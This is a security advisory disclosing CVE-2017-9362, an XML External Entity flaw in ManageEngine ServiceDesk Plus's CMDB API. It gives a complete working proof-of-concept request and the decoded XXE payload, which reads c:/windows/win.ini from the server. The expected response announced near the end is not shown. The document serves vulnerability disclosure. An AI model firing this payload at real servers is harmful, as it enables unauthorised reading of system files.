Title: ManageEngine ServiceDesk Plus XML External Entity via CMDB API
CVE ID: CVE-2017-9362
CVSSv3 Base Score: 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H)
Vendor: Zoho
Products: ManageEngine ServiceDesk Plus
Advisory Release Date: 19 September 2017
Advisory URL: https://labs.integrity.pt/advisories/cve-2017-9362
Credits: Discovery by Paulo Monteiro <pm[at]integrity.pt> and Filipe Reis <fr[at]integrity.pt>
ManageEngine ServiceDesk Plus is vulnerable to XML External Entity while adding CI in CMDB API on the field INPUT_DATA.
A XXE vulnerability was found while adding CI in CMDB API, accessible to any authenticated user. An attacker can include any system file to the payload when sending the data.
Request:
POST /api/cmdb/ci HTTP/1.1
Host: 192.168.1.103:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.117:8080/SetUpWizard.do?forwardTo=apidoc
Content-Length: 2670
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
OPERATION_NAME=add&INPUT_DATA=<!DOCTYPE%20foo%20[<!ENTITY%20xxe15d41%20SYSTEM%20"file%3a%2f%2f%2fc%3a%2fwindows%2fwin.ini">%20]><API%20version%3d'1.0'%20locale%3d'en'>%0a%20%20%20%20<records>%0a%20%20%20%20%20%20%20%20<record>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>CI%20Name<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>Tomcat%20Server%203%26xxe15d41%3b<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>CI%20Type<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>Business%20Service<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Site<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>(empty)<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Business%20Impact<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>High<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Description<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>Domain%20Conroller%20<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Availability%20Target(%25)<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>200<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Service%20Support%20Hours<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>24X5<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Cost<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>8080<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Incident%20restoration%20target<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>90%25<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20<%2frecord>%0a%20%20%20%20<%2frecords>%0a<%2fAPI>
As we can see the payload needs to be url-encoded and it looks like so:
<!DOCTYPE foo [<!ENTITY xxe15d41 SYSTEM "file:///c:/windows/win.ini"> ]><API version='1.0' locale='en'>
<records>
<record>
<parameter>
<name>CI Name</name>
<value>Tomcat Server 3&xxe15d41;</value>
</parameter>
<parameter>
<name>CI Type</name>
<value>Business Service</value>
</parameter>
<parameter>
<name>Site</name>
<value>(empty)</value>
</parameter>
<parameter>
<name>Business Impact</name>
<value>High</value>
</parameter>
<parameter>
<name>Description</name>
<value>Domain Conroller </value>
</parameter>
<parameter>
<name>Availability Target(%)</name>
<value>200</value>
</parameter>
<parameter>
<name>Service Support Hours</name>
<value>24X5</value>
</parameter>
<parameter>
<name>Cost</name>
<value>8080</value>
</parameter>
<parameter>
<name>Incident restoration target</name>
<value>90%</value>
</parameter>
</record>
</records>
</API>
And the response would be:
© 2024 INTEGRITY S.A. All rights reserved. | Cookie Policy